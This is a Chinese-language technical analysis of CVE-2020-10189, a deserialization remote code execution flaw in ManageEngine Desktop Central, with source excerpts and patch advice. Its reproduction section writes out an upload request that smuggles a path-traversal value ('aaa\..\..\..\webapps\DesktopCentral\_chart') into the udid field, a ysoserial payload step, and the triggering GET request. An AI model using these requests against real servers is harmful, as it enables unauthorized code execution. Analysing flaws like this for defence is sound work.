CVE-2020-10189 Zoho ManageEngine反序列化RCE
字数 1365 2025-08-25 22:58:20
Zoho ManageEngine Desktop Central 反序列化远程代码执行漏洞分析 (CVE-2020-10189)
漏洞描述
Zoho ManageEngine Desktop Central 是一款基于 Web 的企业级服务器、桌面机及移动设备管理软件,提供软件分发、补丁管理、资产管理、系统配置、远程控制、USB 外设管理、移动设备及应用管理等功能模块。
该漏洞是一个反序列化远程代码执行漏洞,攻击者可以通过构造恶意请求上传序列化文件并触发反序列化操作,从而在目标系统上执行任意代码。
影响版本
Zoho ManageEngine Desktop Central < 10.0.474
漏洞分析
1. 反序列化点定位
在 DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/web.xml 中发现名为 CewolfServlet 的 servlet,对应类为 de.laures.cewolf.CewolfRenderer(位于 DesktopCentral_Server/lib/cewolf-1.2.4.jar),URL 路径为 /cewolf/*。
CewolfRenderer 类的 doGet 方法中:
String imgKey = request.getParameter("img");
// ...
storage.getChartImage(imgKey, request);
FileStorage 类实现了 getChartImage 方法:
public ChartImage getChartImage(String id, HttpServletRequest request) {
String fileName = this.getFileName(id);
File file = new File(fileName);
// ...
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
return (ChartImage)ois.readObject();
}
getFileName 方法:
private String getFileName(String id) {
return this.basePath + "_chart" + id;
}
2. 文件上传点分析
在 web.xml 中找到上传 servlet,udid 和 filename 参数可控。上传路径构造:
String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator
+ this.customerID + File.separator + this.deviceName + "_" + udid;
需要构造 _chart 路径:aaa\..\..\..\webapps\DesktopCentral\_chart
文件名处理:
- 转换为小写
- 通过
FileUploadUtil.hasVulnerabilityInFileName校验isContainDirectoryTraversal: 检查是否包含/或\isCompletePath: 检查是否为完整路径isValidFileExtension: 检查文件扩展名是否合法
security-mdm-agent.xml 中限制文件名必须为:
logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip
3. Gadgets 利用
DesktopCentral_Server/lib 目录中包含可利用的库:
commons-collections.jar(3.1)commons-beanutils-1.8.0.jar
可以使用 ysoserial 生成利用链,注意保持库版本一致。
漏洞复现步骤
- 使用 ysoserial 生成恶意序列化文件
- 构造上传请求:
POST /mdm/client/v1/mdm/logs/upload HTTP/1.1 Host: target Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="udid" aaa\..\..\..\webapps\DesktopCentral\_chart ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="file"; filename="logger.txt" Content-Type: text/plain [恶意序列化内容] ------WebKitFormBoundaryxxxx-- - 触发反序列化:
GET /cewolf/img?img=key HTTP/1.1 Host: target
漏洞修复
官方已在 10.0.515 版本修复该漏洞,建议升级至最新版本。
参考链接
- https://srcincite.io/pocs/src-2020-0011.py.txt
- https://www.anquanke.com/post/id/200474
- https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html